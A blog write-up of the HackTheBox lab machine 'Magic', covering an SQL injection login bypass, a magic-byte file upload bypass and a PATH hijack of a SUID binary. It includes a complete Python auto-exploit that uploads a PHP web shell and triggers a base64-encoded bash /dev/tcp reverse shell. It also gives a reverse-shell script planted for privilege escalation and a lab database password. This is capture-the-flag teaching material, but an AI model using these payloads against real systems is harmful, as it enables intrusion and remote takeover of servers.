Home HackTheBox - Magic
Post
Cancel

HackTheBox - Magic

Magic was a good box. It’s Linux and Medium, from HackTheBox. We got two normal paths in HackTheBox. One SQLInjection to bypass the login and a file upload to get RCE.

The first shell is as www-data, then we upgrade to theseus with a credential on the mysql. The root part we get with a path hijack of a binary running with suid.

The autoshell for www-data is on the script. Hope you enjoy!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Gobuster| B[Magic Web]
    B --> |SQLI Auth Bypass| C[Logged In]
    C --> |Change Magic Number| D(Upload Malicious PHP)
    D --> |RCE| E
    D --> |Python Script| E[Automated Reverse Shell]
    E --> |db.php| F[theseus creds]
    F --> |linpeas| G[sysinfo suid]
    G --> |ltrace| H[PATH hijack]
    H --> I[ROOT]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.185

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

We try to open it on the browser

We see a bunch of images in it, and a Upload File in the bottom of it

So we must login in the app

We will try that with wfuzz, we get one request in burp, to see how it is structured

Let’s try all kind of injection to bypass the login and get access to the page

After spend a long time trying all kind of login bypasses

For example this wfuzz command with a List

1
wfuzz -z file,list.txt -d "username=adminFUZZ&password=admin" --hc 200 http://10.10.10.185/login.php

We see that a bunch of them works

I’ll use a simple one '#

And it worked

It worked possibly because the site is using a query like this one

1
SELECT * from users where username = '$username' and password = '$password';

So my input makes that:

1
SELECT * from users where username = 'admin''#and password = 'admin';

Awesome… let’s continue

We try to upload a php file

And it shows me

Filter Bypass

So, let’s play with magic numbers, seems that is happening some kind of filter here

We add FF D8 FF EE in the beginning of the file, so it become a JPEG image (with hexeditor). Took from Signatures

We upload, and success

The problem is that this is a jpeg file, not a php file

We, on burp, change the name to 0x4rt3mis.php.jpeg and succees

We need to find the place where this file was uploaded

So, we run gobuster

1
gobuster dir -u http://10.10.10.185 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 30

Again on the images folder

And we found it

And we get RCE

Getting a rev shell

And here it is

Now, let’s automate it.

Auto Shell www-data

First, we will use our python skeleton to do that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

auto_www_data.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3
# Author: 0x4rt3mis
# Auto Rev Shell - Magic HackTheBox

import argparse
import requests
import sys
import socket, telnetlib
from threading import Thread
import base64
import urllib.parse

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()
        
# Upload Malicious
def maliciousUpload(rhost):
    url = "http://%s/upload.php" %rhost
    data = b'\xff\xd8\xff\xee\r\n\r\n<?php system($_REQUEST[\"cmd\"]); ?>'
    multipart_data = {
        'image': ('0x4rt3mis.php.jpeg', data, "image/jpeg"),
        'submit' : (None,"Upload Image")
    }
    upload = r.post(url, files=multipart_data, proxies=proxies)

# Trigger the reverse shell
def getReverse(rhost,lhost,lport):
    print("[+] Now Let's get the reverse shell! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
    message_bytes = reverse.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    payload = {
    'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
    payload_str = urllib.parse.urlencode(payload, safe='|')
    url = "http://%s:80/images/uploads/0x4rt3mis.php.jpeg" %rhost
    r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-ip', '--ipaddress', help='Local IP Adress', required=True)
    parser.add_argument('-lp', '--port', help='Local Port to Receive the Shell', required=True)
    args = parser.parse_args()

    rhost = args.target
    lhost = args.ipaddress
    lport = args.port
    
    '''Here we call the functions'''
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Upload malicious php file
    maliciousUpload(rhost)
    # Get the rev shell
    getReverse(rhost,lhost,lport)

if __name__ == '__main__':
    main()

Let’s continue our exploration

www-data –> Theseus

Our first user to get is the theseus

Looking at the db.php5 file in the web root directory we found some creds

So, we use mysqldump to extracted the password (we could use chisel and port forward to our box the mysql port)

1
mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic

On one line we see a credential

Let’s login as theseus

Theseus –> Root

Now, the root part

We run Linpeas

And we found a binary with suid enabled

1
ltrace /bin/sysinfo

We made a binary which is opened on popen in ltrace

1
2
3
echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.20/448 0>&1' > lshw
chmod +x lshw
cat lshw

We fix the path

1
2
3
echo $PATH
export PATH="/tmp:$PATH"
echo $PATH  

Now, just run sysinfo and we got a root shell in nc

Code Analisys

We copy the code to our box to better analyse it

1
rsync -azP -i root@10.10.10.185:/var/www/Magic/* .

The first thing is to look for why the webserver is executing png file as php

For that we see the .htaccess

This regex doesn’t have the trailing $, which means it will match is .php is anywhere in the string. That’s why if the format .php.png is being executed as php file.

We need to see the upload mechanism also

The first check is on the line 16

1
if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {

It checks if the file is jpg, png or jpeg.

The second check is on the line 23

1
$check = exif_imagetype($_FILES["image"]["tmp_name"]);

Checking the exif_imagetype of the file

According to the manual of php

1
2
exif_imagetype() reads the first bytes of an image and checks its signature.
When a correct signature is found, the appropriate constant value will be returned otherwise the return value is FALSE.

The two return values of interest here are IMAGETYPE_JPEG (2) and IMAGETYPE_JPNG (3), which show up in $allowed.

The third check is on line 31

1
if (strpos($image, "<?") !== FALSE) {

It’s commented because it’s going to make the things extremelly hard and false positively, because it checks the <? on the string.

We also see the code of the sysinfo on the root folder

This code makes a series of calls to various functions, all without full paths. I could have impersonated any of lshw, fdisk, cat, or free to get execution.

This post is licensed under CC BY 4.0 by the author.